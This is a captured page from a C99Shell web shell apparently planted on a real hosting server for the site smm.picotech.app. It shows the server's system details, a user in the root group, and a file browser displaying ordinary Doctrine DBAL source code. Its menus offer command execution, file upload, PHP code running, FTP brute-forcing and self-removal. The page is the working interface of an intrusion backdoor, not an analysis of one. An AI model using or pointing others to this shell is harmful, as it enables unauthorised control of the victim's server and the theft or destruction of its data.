!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/Cache/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArrayResult.php (2.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Cache;

use 
Doctrine\DBAL\Driver\FetchUtils;
use 
Doctrine\DBAL\Driver\Result;

use function 
array_values;
use function 
count;
use function 
reset;

/** @internal The class is internal to the caching layer implementation. */
final class ArrayResult implements Result
{
    
/** @var list<array<string, mixed>> */
    
private array $data;

    private 
int $columnCount 0;
    private 
int $num         0;

    
/** @param list<array<string, mixed>> $data */
    
public function __construct(array $data)
    {
        
$this->data $data;
        if (
count($data) === 0) {
            return;
        }

        
$this->columnCount count($data[0]);
    }

    
/**
     * {@inheritDoc}
     */
    
public function fetchNumeric()
    {
        
$row $this->fetch();

        if (
$row === false) {
            return 
false;
        }

        return 
array_values($row);
    }

    
/**
     * {@inheritDoc}
     */
    
public function fetchAssociative()
    {
        return 
$this->fetch();
    }

    
/**
     * {@inheritDoc}
     */
    
public function fetchOne()
    {
        
$row $this->fetch();

        if (
$row === false) {
            return 
false;
        }

        return 
reset($row);
    }

    
/**
     * {@inheritDoc}
     */
    
public function fetchAllNumeric(): array
    {
        return 
FetchUtils::fetchAllNumeric($this);
    }

    
/**
     * {@inheritDoc}
     */
    
public function fetchAllAssociative(): array
    {
        return 
FetchUtils::fetchAllAssociative($this);
    }

    
/**
     * {@inheritDoc}
     */
    
public function fetchFirstColumn(): array
    {
        return 
FetchUtils::fetchFirstColumn($this);
    }

    public function 
rowCount(): int
    
{
        return 
count($this->data);
    }

    public function 
columnCount(): int
    
{
        return 
$this->columnCount;
    }

    public function 
free(): void
    
{
        
$this->data = [];
    }

    
/** @return array<string, mixed>|false */
    
private function fetch()
    {
        if (! isset(
$this->data[$this->num])) {
            return 
false;
        }

        return 
$this->data[$this->num++];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--